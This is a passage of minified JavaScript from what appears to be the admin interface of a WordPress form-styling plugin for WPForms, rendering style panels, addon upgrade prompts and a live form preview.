Fields",id:"dropdownFields"},{label:"Radio Inputs",id:"radioInputs"},{label:"Checkbox Inputs",id:"checkboxInputs"},{label:"Paragraph Textarea Fields",id:"paragraphTextareaFields"},{label:"Layout Fields",id:"layoutFields"},{label:"Submit Button",id:"submitButton"},{label:"Confirmation Message",id:"confirmationMessage"},{label:"Error Message",id:"errorMessage"}];return(0,e.createElement)("div",{className:"sfwf-panel-sidebar"},""===t.activeSectionId&&(()=>{let l=(0,e.createElement)(n.Notice,{status:"warning",isDismissible:!1},"Please choose a form in order to apply the styles.");return t.formId&&(l=a.map((a=>(0,e.createElement)(n.MenuItem,{className:"sfwf-sidebar-panel",onClick:()=>t.setActiveSectionId(a.id),icon:"arrow-right-alt2"},a.label)))),l})(),""!==t.activeSectionId&&(0,e.createElement)(i,{activeSectionId:t.activeSectionId,setActiveSectionId:t.setActiveSectionId,sections:a}),"generalSettings"===t.activeSectionId&&(0,e.createElement)(M,{generalSettings:t.generalSettings,setGeneralSettings:t.setGeneralSettings,stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges,fetchStylerSettings:t.fetchStylerSettings}),"formWrapper"===t.activeSectionId&&(0,e.createElement)(S,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"formHeader"===t.activeSectionId&&(0,e.createElement)(y,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"formTitleDescription"===t.activeSectionId&&(0,e.createElement)(U,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"fieldLabels"===t.activeSectionId&&(0,e.createElement)(w,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"fieldDescriptions"===t.activeSectionId&&(0,e.createElement)(C,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"textFields"===t.activeSectionId&&(0,e.createElement)(E,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"dropdownFields"===t.activeSectionId&&(0,e.createElement)(k,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"radioInputs"===t.activeSectionId&&(0,e.createElement)(A,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"checkboxInputs"===t.activeSectionId&&(0,e.createElement)(I,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"paragraphTextareaFields"===t.activeSectionId&&(0,e.createElement)(P,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"submitButton"===t.activeSectionId&&(0,e.createElement)(_,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"confirmationMessage"===t.activeSectionId&&(0,e.createElement)(T,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"errorMessage"===t.activeSectionId&&(0,e.createElement)(x,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),"layoutFields"===t.activeSectionId&&(0,e.createElement)(F,{stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}))};var D=a(838),N=a.n(D),B=a(442);const L=B.default||B,H=window.wp.primitives,R=(0,e.createElement)(H.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,e.createElement)(H.Path,{d:"m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z"})),z=t=>(0,e.createElement)(e.Fragment,null,(()=>{if(!t.formId)return"";let a=[];for(let e=1;e<=t.totalPageCount;e++)a.push({title:`Page: ${e}`,onClick:()=>t.setActivePage(e)});return!0===t.showConfirmation&&a.push({title:"Confirmation Page",onClick:()=>t.setActivePage("confirmation")}),(0,e.createElement)("div",{className:"sfwf-responsive-toolbar"},(0,e.createElement)(n.Flex,{justify:"end"},(0,e.createElement)(n.FlexItem,null,(0,e.createElement)("div",{className:"sfwf-page-select"},"Selected Page:"," ",(0,e.createElement)("span",{className:"sfwf-selected-page"},(0,e.createElement)("strong",null,t.activePage)),(0,e.createElement)(n.DropdownMenu,{className:"sfwf-page-select-dropdown",icon:R,label:"Change Selected Page",popoverProps:{focusOnMount:!0},controls:a})))))})()),G=a=>{const[i,o]=(0,t.useState)(!1),[r,s]=(0,t.useState)(!1);(0,t.useEffect)((()=>{a.formId?(async()=>{o(!0);const e=new FormData,t=JSON.stringify(a.allSettings);e.append("action","sfwf_wpforms_form_html"),e.append("nonce",window.sfwfAdminWpformsUltimate.nonce),e.append("formId",a.formId),e.append("sfwf_all_settings",t);try{await fetch(window.ajaxurl,{method:"POST",body:e}).then((e=>{if(!e.ok)throw new Error("Network response was not ok");return e.text()})).then((e=>{const t=N().sanitize(e,{USE_PROFILES:{html:!0}}),n=L(t);a.setHtml(n)}))}catch(e){console.error("Error fetching form HTML:",e)}o(!1)})():a.setHtml((0,e.createElement)("div",null,"Please choose the form in order to apply the styles."))}),[a.formId]),(0,t.useEffect)((()=>{"confirmation"===a.activePage&&(async()=>{o(!0);const e=new FormData;e.append("action","sfwf_confirmation_html"),e.append("nonce",window.sfwfAdminWpformsUltimate.nonce),e.append("formId",window.sfwfAdminWpformsUltimate.formId);try{const t=await fetch(window.ajaxurl,{method:"POST",body:e});if(!t.ok)throw new Error("Failed to fetch confirmation message");const a=await t.json();if(a.success){const e=N().sanitize(a.data,{USE_PROFILES:{html:!0}}),t=L(e);s(t)}}catch(e){console.error("Error fetching form HTML:",e)}o(!1)})()}),[a.activePage]);let c="",d="";const u=e=>{if(!React.isValidElement(e))return e;if(e.props.className&&e.props.className.includes("wpforms-field-radio")){let t="wpforms-"+a.formId+"-field_",n=e.props.id;n&&(n=n.replace(t,""),n=n.replace("-container","")),c=n}if(!(0,l.isEmpty)(c)&&"ul"===e.type&&e.props.id){let t=`wpforms-${a.formId}-field_${c}`;if(e.props.id.includes(t))return React.cloneElement(e,{onClick:()=>a.setActiveSectionId("radioInputs")})}if(e.props.className&&(e.props.className.includes("wpforms-field-checkbox")||e.props.className.includes("wpforms-field-payment-checkbox"))){let t="wpforms-"+a.formId+"-field_",n=e.props.id;n&&(n=n.replace(t,""),n=n.replace("-container","")),d=n}if(!(0,l.isEmpty)(d)&&"ul"===e.type&&e.props.id){let t=`wpforms-${a.formId}-field_${d}`;if(e.props.id.includes(t))return React.cloneElement(e,{onClick:()=>a.setActiveSectionId("checkboxInputs")})}return e.props.type&&["text","email","password","tel","url","number"].indexOf(e.props.type)>=0?React.cloneElement(e,{onClick:()=>a.setActiveSectionId("textFields"),title:"Click to open field settings"}):e.props.className&&e.props.className.includes("wpforms-field-label")?React.cloneElement(e,{onClick:()=>a.setActiveSectionId("fieldLabels")}):e.props.className&&(e.props.className.includes("wpforms-submit")||e.props.className.includes("wpforms-page-button"))?React.cloneElement(e,{onClick:()=>a.setActiveSectionId("submitButton")}):e.props.className&&e.props.className.includes("wpforms-field-description")?React.cloneElement(e,{onClick:()=>a.setActiveSectionId("fieldDescriptions")}):e.props.className&&e.props.className.includes("wpforms-error")?React.cloneElement(e,{onClick:()=>a.setActiveSectionId("errorMessage")}):e.type&&"select"===e.type?React.cloneElement(e,{onClick:()=>a.setActiveSectionId("dropdownFields"),title:"Click to open field settings"}):e.type&&"textarea"===e.type?React.cloneElement(e,{onClick:()=>a.setActiveSectionId("paragraphTextareaFields")}):e.props.className&&e.props.className.includes("wpforms-title")||e.props.className&&e.props.className.includes("wpforms-description")?React.cloneElement(e,{onClick:()=>a.setActiveSectionId("formTitleDescription")}):e.props.className&&e.props.className.includes("wpforms-head-container")?React.cloneElement(e,{onClick:()=>a.setActiveSectionId("formHeader")}):e.props.className&&e.props.className.includes("wpforms-confirmation-container-full")?React.cloneElement(e,{onClick:()=>a.setActiveSectionId("confirmationMessage")}):e.props.children?React.cloneElement(e,{children:React.Children.map(e.props.children,u)}):e},m=a.html?React.Children.map(a.html,u):"";return(0,e.createElement)("div",{className:"sfwf-panel-contentarea sfwf-responsive-area"},(0,e.createElement)(z,{formId:a.formId,totalPageCount:a.totalPageCount,activePage:a.activePage,setActivePage:a.setActivePage,showConfirmation:!0}),(0,e.createElement)("div",{className:"sfwf-form-wrapper sfwf-styler-form-wrapper sfwf-fields-has-hover",onClick:e=>{e.preventDefault()}},i&&(0,e.createElement)("div",{className:"sfwf-content-spinner"},(0,e.createElement)(n.Spinner,null)),"confirmation"!==a.activePage&&!1===i&&m,"confirmation"===a.activePage&&!1===i&&(0,e.createElement)("div",{className:"wpforms-container-full",onClick:()=>{a.setActiveSectionId("confirmationMessage")}},(0,e.createElement)("div",{className:"wpforms-confirmation-container-full "},r))))},W=t=>(0,e.createElement)("div",{className:"sfwf-panel"},(0,e.createElement)(O,{activeSectionId:t.activeSectionId,setActiveSectionId:t.setActiveSectionId,stylerSettings:t.stylerSettings,setStylerSettings:t.setStylerSettings,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges,formId:t.formId,generalSettings:t.generalSettings,setGeneralSettings:t.setGeneralSettings,fetchStylerSettings:t.fetchStylerSettings}),(0,e.createElement)(G,{formId:t.formId,activeSectionId:t.activeSectionId,setActiveSectionId:t.setActiveSectionId,activePage:t.activePage,setActivePage:t.setActivePage,totalPageCount:t.totalPageCount,setTotalPageCount:t.setTotalPageCount,allSettings:t.allSettings,html:t.html,setHtml:t.setHtml})),j=a=>{const[l,i]=(0,t.useState)(!0);return(0,e.createElement)(e.Fragment,null,l&&(()=>{let t="";return window.sfwfAdminWpformsUltimate.isRtl&&(t="sfwf-booster-popup-rtl"),(0,e.createElement)(n.Modal,{title:"Tooltips is not active",onRequestClose:()=>i(!1),className:"sfwf-pro-modal-container",__experimentalHideHeader:!0,style:{width:"600px"},isDismissible:!1,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,overlayClassName:`sfwf-modal-overlay ${t}`},(0,e.createElement)("div",{className:"sfwf-pro-modal"},(0,e.createElement)("div",{className:"sfwf-modal-icon"},(0,e.createElement)(n.Dashicon,{icon:"lock"})),(0,e.createElement)("div",{className:"sfwf-modal-content"},(0,e.createElement)("h3",null,a.content.title),(0,e.createElement)("p",null,a.content.description),(()=>{let t,l="";if("link"in a.content){let l=a.content.linkTarget?a.content.linkTarget:"_self";t=(0,e.createElement)(n.FlexItem,null,(0,e.createElement)(n.Button,{variant:"primary",href:a.content.link,target:l},a.content.primaryText))}if("secondaryLink"in a.content){let t=a.content.secondaryLinkTarget?a.content.secondaryLinkTarget:"_self";l=(0,e.createElement)(n.FlexItem,null,(0,e.createElement)(n.Button,{variant:"secondary",href:a.content.secondaryLink,target:t},a.content.SecondaryText))}return(0,e.createElement)(e.Fragment,null,(0,e.createElement)(n.Flex,{justify:"center"},t,l))})()),(0,e.createElement)("div",{className:"sfwf-modal-footer"},"noticeLink"in a.content?(0,e.createElement)("div",{className:"sfwf-modal-notice"},(0,e.createElement)("a",{href:a.content.noticeLink,target:"_blank",rel:"noopener"},a.content.notice)):(0,e.createElement)("div",{className:"sfwf-modal-notice"},a.content.notice))))})())},$=a=>{const[l,i]=(0,t.useState)(""),[o,r]=(0,t.useState)(!1);return(0,t.useEffect)((()=>{const e=new AbortController,t=e.signal,n=setTimeout((()=>{(async()=>{window.wp.hooks.doAction("sfwf_ultimate_on_tooltips_content_load",a.tooltipsSettings,a.formId,t,a.setHtml,r,a.allSettings)})()}),500);return()=>{clearTimeout(n),e.abort()}}),[a.formId,a.tooltipsSettings]),(0,t.useEffect)((()=>{let t="",n="";a.formId?("active"===window.sfwfAdminWpformsUltimate.status[a.activeMenuBar]?parseInt(window.sfwfAdminWpformsUltimate.version[a.activeMenuBar])>=3?t=window.wp.hooks.applyFilters("sfwf_ultimate_on_tooltips_html_update",t,a.formId,a.html,a.setActiveFieldId):(n={title:"Tooltips addon is outdated",description:"We're sorry, you are using an old version of Tooltips addon and it is not compatible with the latest functionlity. Click the below link to upgrade and use with the latest interface or continue with the old interface using customizer.",link:"https://wpmonks.com/?p=13888&utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit",linkTarget:"_blank",secondaryLink:window.sfwfAdminWpformsUltimate.customizerUrl,secondaryLinkTarget:"_self",primaryText:"Upgrade Now",SecondaryText:"Open Customizer",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})):"inActive"===window.sfwfAdminWpformsUltimate.status[a.activeMenuBar]?(n={title:"Tooltips addon is not Active",description:"We're sorry, your Tooltips addon is currently inactive. To use it you will first need to activate the addon from your plugin's menu. Click the below link to activate the addon.",link:window.sfwfAdminWpformsUltimate.adminUrl+"plugins.php?plugin_status=inactive",primaryText:"Open Plugins",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})):(n={title:"Tooltips is a Pro Addon",description:"We're sorry, the Tooltips is premium addon. Click the below link to get the addon.",link:"https://wpmonks.com/?p=13888&utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit",linkTarget:"_blank",primaryText:"Get Tooltips Addon",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})),i(t)):i((0,e.createElement)("div",null,"Please choose the form in order to apply the styles."))}),[a.html]),(0,e.createElement)("div",{className:"sfwf-panel-contentarea sfwf-responsive-area"},(0,e.createElement)(z,{formId:a.formId,totalPageCount:a.totalPageCount,activePage:a.activePage,setActivePage:a.setActivePage,showConfirmation:!1}),(0,e.createElement)("div",{className:"sfwf-form-wrapper sfwf-tooltip-form-wrapper"},o&&(0,e.createElement)("div",{className:"sfwf-content-spinner"},(0,e.createElement)(n.Spinner,null)),!1===o&&l))},V=t=>(0,e.createElement)("div",{className:"sfwf-panel-sidebar"},window.wp.hooks.applyFilters("sfwf_ultimate_tooltips_sidebar","",t.tooltipsSettings,t.setTooltipsSettings,t.formId,t.activeFieldId,t.setActiveFieldId,t.setHasUnSavedChanges,t.formFieldsLabels)),K=t=>(0,e.createElement)("div",{className:"sfwf-panel"},(0,e.createElement)(V,{tooltipsSettings:t.tooltipsSettings,setTooltipsSettings:t.setTooltipsSettings,formId:t.formId,activeFieldId:t.activeFieldId,setActiveFieldId:t.setActiveFieldId,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges,formFieldsLabels:t.formFieldsLabels,setFormFieldsLabels:t.setFormFieldsLabels}),(0,e.createElement)($,{tooltipsSettings:t.tooltipsSettings,formId:t.formId,activeMenuBar:t.activeMenuBar,activeFieldId:t.activeFieldId,setActiveFieldId:t.setActiveFieldId,totalPageCount:t.totalPageCount,activePage:t.activePage,setActivePage:t.setActivePage,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges,allSettings:t.allSettings,formFieldsLabels:t.formFieldsLabels,setFormFieldsLabels:t.setFormFieldsLabels,html:t.html,setHtml:t.setHtml})),Y=a=>{const[l,i]=(0,t.useState)(""),[o,r]=(0,t.useState)(!1);return(0,t.useEffect)((()=>{const e=new AbortController,t=e.signal,n=setTimeout((()=>{(async()=>{window.wp.hooks.doAction("sfwf_ultimate_on_field_icons_content_load",a.fieldIconsSettings,a.formId,t,a.setHtml,r,a.allSettings)})()}),500);return()=>{clearTimeout(n),e.abort()}}),[a.formId,a.fieldIconsSettings]),(0,t.useEffect)((()=>{let t="",n="";a.formId?("active"===window.sfwfAdminWpformsUltimate.status[a.activeMenuBar]?parseInt(window.sfwfAdminWpformsUltimate.version[a.activeMenuBar])>=2?t=window.wp.hooks.applyFilters("sfwf_ultimate_field_icons_html_with_events",t,a.formId,a.html,a.setActiveFieldId):(n={title:"Field Icons addon is outdated",description:"We're sorry, you are using an old version of Field Icons addon and it is not compatible with the latest functionlity. Click the below link to upgrade and use with the latest interface or continue with the old interface using customizer.",link:"https://wpmonks.com/?p=14074&utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit",linkTarget:"_blank",secondaryLink:window.sfwfAdminWpformsUltimate.customizerUrl,primaryText:"Upgrade Now",SecondaryText:"Open Customizer",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})):"inActive"===window.sfwfAdminWpformsUltimate.status[a.activeMenuBar]?(n={title:"Field Icons addon is not Active",description:"We're sorry, your Field Icons addon is currently inactive. To use it you will first need to activate the addon from your plugin's menu. Click the below link to activate the addon.",link:window.sfwfAdminWpformsUltimate.adminUrl+"plugins.php?plugin_status=inactive",primaryText:"Open Plugins",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})):(n={title:"Field Icons is a Pro Addon",description:"We're sorry, the Field Icons is premium addon. Click the below link to get the addon.",link:"https://wpmonks.com/?p=14074&utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit",linkTarget:"_blank",primaryText:"Get Field Icons Addon",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})),i(t)):i((0,e.createElement)("div",null,"Please choose the form in order to apply the styles."))}),[a.html]),(0,e.createElement)("div",{className:"sfwf-panel-contentarea sfwf-responsive-area"},(0,e.createElement)(z,{formId:a.formId,totalPageCount:a.totalPageCount,activePage:a.activePage,setActivePage:a.setActivePage,showConfirmation:!1}),(0,e.createElement)("div",{className:"sfwf-form-wrapper sfwf-field-icons-form-wrapper"},o&&(0,e.createElement)("div",{className:"sfwf-content-spinner"},(0,e.createElement)(n.Spinner,null)),!1===o&&l))},q=t=>(0,e.createElement)("div",{className:"sfwf-panel-sidebar"},window.wp.hooks.applyFilters("sfwf_ultimate_field_icons_sidebar","",t.fieldIconsSettings,t.setFieldIconsSettings,t.formId,t.activeFieldId,t.setActiveFieldId,t.setHasUnSavedChanges,t.formFieldsLabels)),J=t=>(0,e.createElement)("div",{className:"sfwf-panel"},(0,e.createElement)(q,{fieldIconsSettings:t.fieldIconsSettings,setFieldIconsSettings:t.setFieldIconsSettings,formId:t.formId,activeFieldId:t.activeFieldId,setActiveFieldId:t.setActiveFieldId,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges,formFieldsLabels:t.formFieldsLabels}),(0,e.createElement)(Y,{fieldIconsSettings:t.fieldIconsSettings,formId:t.formId,activeMenuBar:t.activeMenuBar,totalPageCount:t.totalPageCount,activePage:t.activePage,setActivePage:t.setActivePage,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges,allSettings:t.allSettings,activeFieldId:t.activeFieldId,setActiveFieldId:t.setActiveFieldId,html:t.html,setHtml:t.setHtml})),X=a=>{const[i,o]=(0,t.useState)(""),[r,s]=(0,t.useState)(!1);return(0,t.useEffect)((()=>{const e=new AbortController,t=e.signal,n=setTimeout((()=>{(async()=>{window.wp.hooks.doAction("sfwf_ultimate_on_bootstrap_content_load",a.bootstrapSettings,a.formId,t,a.setHtml,s,a.allSettings)})()}),500);return()=>{clearTimeout(n),e.abort()}}),[a.formId,a.bootstrapSettings]),(0,t.useEffect)((()=>{let t="",n="";a.formId?("active"===window.sfwfAdminWpformsUltimate.status[a.activeMenuBar]?parseInt(window.sfwfAdminWpformsUltimate.version[a.activeMenuBar])>=2?t=(0,l.cloneDeep)(a.html):(n={title:"Bootstrap addon is outdated",description:"We're sorry, you are using an old version of Bootstrap addon and it is not compatible with the latest functionlity. Click the below link to upgrade and use with the latest interface or continue with the old interface using customizer.",link:"https://wpmonks.com/downloads/?p=13556&utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit",linkTarget:"_blank",secondaryLink:window.sfwfAdminWpformsUltimate.customizerUrl,primaryText:"Upgrade Now",SecondaryText:"Open Customizer",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})):"inActive"===window.sfwfAdminWpformsUltimate.status[a.activeMenuBar]?(n={title:"Bootstrap addon is not Active",description:"We're sorry, your Bootstrap addon is currently inactive. To use it you will first need to activate the addon from your plugin's menu. Click the below link to activate the addon.",link:window.sfwfAdminWpformsUltimate.adminUrl+"plugins.php?plugin_status=inactive",primaryText:"Open Plugins",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})):(n={title:"Bootstrap is a Pro Addon",description:"We're sorry, the Bootstrap is premium addon. Click the below link to get the addon.",link:"https://wpmonks.com/downloads/?p=13556&utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit",linkTarget:"_blank",primaryText:"Get Bootstrap Addon",notice:"Bonus: Get 45% off on All Addons. Click Here to buy addon bundle at discounted price.",noticeLink:"https://wpmonks.com/downloads/?p=14200/?utm_source=plugin&utm_medium=panel&utm_campaign=ultimate_kit"},t=(0,e.createElement)(j,{content:n})),o(t)):a.setHtml((0,e.createElement)("div",null,"Please choose the form in order to apply the styles."))}),[a.html]),(0,e.createElement)("div",{className:"sfwf-panel-contentarea sfwf-responsive-area"},(0,e.createElement)(z,{formId:a.formId,totalPageCount:a.totalPageCount,activePage:a.activePage,setActivePage:a.setActivePage,showConfirmation:!1}),(0,e.createElement)("div",{className:"sfwf-form-wrapper sfwf-bootstrap-form-wrapper"},r&&(0,e.createElement)("div",{className:"sfwf-content-spinner"},(0,e.createElement)(n.Spinner,null)),!1===r&&i))},Q=t=>(0,e.createElement)("div",{className:"sfwf-panel-sidebar"},window.wp.hooks.applyFilters("sfwf_ultimate_bootstrap_sidebar","",t.bootstrapSettings,t.setBootstrapSettings,t.formId,t.setHasUnSavedChanges)," "),Z=t=>(0,e.createElement)("div",{className:"sfwf-panel"},(0,e.createElement)(Q,{bootstrapSettings:t.bootstrapSettings,setBootstrapSettings:t.setBootstrapSettings,formId:t.formId,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges}),(0,e.createElement)(X,{bootstrapSettings:t.bootstrapSettings,formId:t.formId,activeMenuBar:t.activeMenuBar,totalPageCount:t.totalPageCount,activePage:t.activePage,setActivePage:t.setActivePage,hasUnSavedChanges:t.hasUnSavedChanges,setHasUnSavedChanges:t.setHasUnSavedChanges,allSettings:t.allSettings,html:t.html,setHtml:t.setHtml})),ee=t=>{let a="";return window.sfwfAdminWpformsUltimate.isRtl&&(a="sfwf-booster-popup-rtl"),t.hasChangesMade?(0,e.createElement)(e.Fragment,null,(0,e.createElement)(n.Modal,{title:"You have unsaved changes",onRequestClose:()=>{t.hasChangesMade(!1)},className:"sfwf-save-modal-container",__experimentalHideHeader:!0,style:{width:"600px"},isDismissible:!1,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,overlayClassName:`sfwf-modal-overlay ${a}`},(0,e.createElement)("div",{className:"sfwf-pro-modal"},(0,e.createElement)("div",{className:"sfwf-modal-icon"},(0,e.createElement)(n.Dashicon,{icon:"info"})),(0,e.createElement)("div",{className:"sfwf-modal-content"},(0,e.createElement)("h3",null,"Alert"),(0,e.createElement)("p",null,"You have unsaved changes. If you switch before saving then the changes will be lost."),(0,e.createElement)(n.Flex,{justify:"center"},(0,e.createElement)(n.FlexItem,null,(0,e.createElement)(n.Button,{variant:"primary",onClick:()=>{const e=(0,l.cloneDeep)(t.panelTriggerFromPopup);t.resetPanelSettings(t.activeMenuBar),t.setHasUnSavedChanges(!1),t.setActiveMenuBar(e),t.setPanelTriggerFromPopup("")}},"Switch Anyway")),(0,e.createElement)(n.FlexItem,null,(0,e.createElement)(n.Button,{variant:"secondary",onClick:()=>t.setPanelTriggerFromPopup("")},"Cancel"))))))):""},te=t=>(0,e.createElement)("div",{className:"sfwf-panel-sidebar"},(()=>{let a=(0,e.createElement)(n.Notice,{status:"warning",isDismissible:!1},"Please choose a form in order to apply the styles.");return a=[{label:"Licenses",id:"licenses"},{label:"Blacklist",id:"blacklist"},{label:"Power Ups",id:"powerUps"}].map((a=>{let l="";return a.id===t.activeSectionId&&(l="sfwf-active-section"),(0,e.createElement)(n.MenuItem,{className:`sfwf-sidebar-panel ${l}`,onClick:()=>t.setActiveSectionId(a.id),icon:"arrow-right-alt2"},a.label)})),a=window.wp.hooks.applyFilters("sfwf_ultimate_global_settings_sidebar",a,t.formId,t.ultimateSettings,t.activePowerUpId,t.activeSectionId,t.setUltimateSettings,t.setHasUnSavedChanges,t.setActiveSectionId,t.setActivePowerUpId),a})()),ae=t=>(0,e.createElement)("div",{className:"sfwf-panel-contentarea sfwf-responsive-area"},(()=>{let a=window.wp.hooks.applyFilters("sfwf_ultimate_settings_contentarea",[],t.ultimateSettings,t.activeSectionId,t.setUltimateSettings,t.setHasUnSavedChanges,t.setActivePowerUpId);if("licenses"===t.activeSectionId){let t="";return t=(0,e.createElement)(e.Fragment,null,(0,e.createElement)(n.Notice,{status:"warning",isDismissible:!1},"If your addon license input field is not showing then you are using the old version of addon. You can manage your licenses from old interface by"," ",(0,e.createElement)("a",{href:`${sfwfAdminWpformsUltimate.adminUrl}?page=sfwf_licenses`},"clicking here"),"."),(0,e.createElement)("p",null,"Licence Fields will automatically appear once you install addons for"," ",(0,e.createElement)("strong",null,"Ultimate Kit for WPForms"),". You can check all the available addons"," ",(0,e.createElement)("a",{href:"https://wpmonks.com/downloads/addon-bundle-for-wpforms/?utm_source=plugin&utm_medium=licence-page&utm_campaign=ultimate_kit",target:"_blank"},"here"),".")),(0,e.createElement)("div",{className:"sfwf-settings-contentarea"},(0,e.createElement)("div",{className:"sfwf-contentarea-header"},(0,e.createElement)("h2",null,"Licence Settings")),t,(0,e.createElement)("div",{className:"sfwf-contearea-settings"},a))}return"ai"===t.activeSectionId&&(0,l.isEmpty)(a)?(0,e.createElement)(n.Notice,{status:"warning",isDismissible:!1},"AI for Gravity Forms is not installed. Download and install it by"," ",(0,e.createElement)("a",{href:"https://wpmonks.com?p=58211",target:"_blank"},"clicking here"),"."):a})()),ne=a=>{const[n,l]=(0,t.useState)("");return(0,t.useEffect)((()=>{""===a.activeSectionId&&a.setActiveSectionId("licenses")}),[]),(0,e.createElement)("div",{className:"sfwf-panel"},(0,e.createElement)(te,{activeSectionId:a.activeSectionId,setActiveSectionId:a.setActiveSectionId,formId:a.formId,ultimateSettings:a.ultimateSettings,activePowerUpId:n,setActivePowerUpId:l,setUltimateSettings:a.setUltimateSettings,setHasUnSavedChanges:a.setHasUnSavedChanges}),(0,e.createElement)(ae,{activeSectionId:a.activeSectionId,formId:a.formId,ultimateSettings:a.ultimateSettings,setUltimateSettings:a.setUltimateSettings,hasUnSavedChanges:a.hasUnSavedChanges,setHasUnSavedChanges:a.setHasUnSavedChanges,setActivePowerUpId:l}))},le=t=>(0,e.createElement)("div",{className:"sfwf-panel-sidebar"},(()=>{let e="";return e=window.wp.hooks.applyFilters("sfwf_ultimate_ai_sidebar",e,t.formId,t.setHasUnSavedChanges,t.activeFieldId,t.setActiveFieldId,t.formFieldsLabels,t.setFormFieldsLabels,t.allSettings,t.setActiveMenuBar,t.activeSectionId,t.setActiveSectionId,t.aiSettings,t.setAiSettings),e})()),ie=a=>{const[n,l]=(0,t.useState)(!1),[i,o]=(0,t.useState)(""),[r,s]=(0,t.useState)(!1);return(0,t.useEffect)((()=>{const e=new 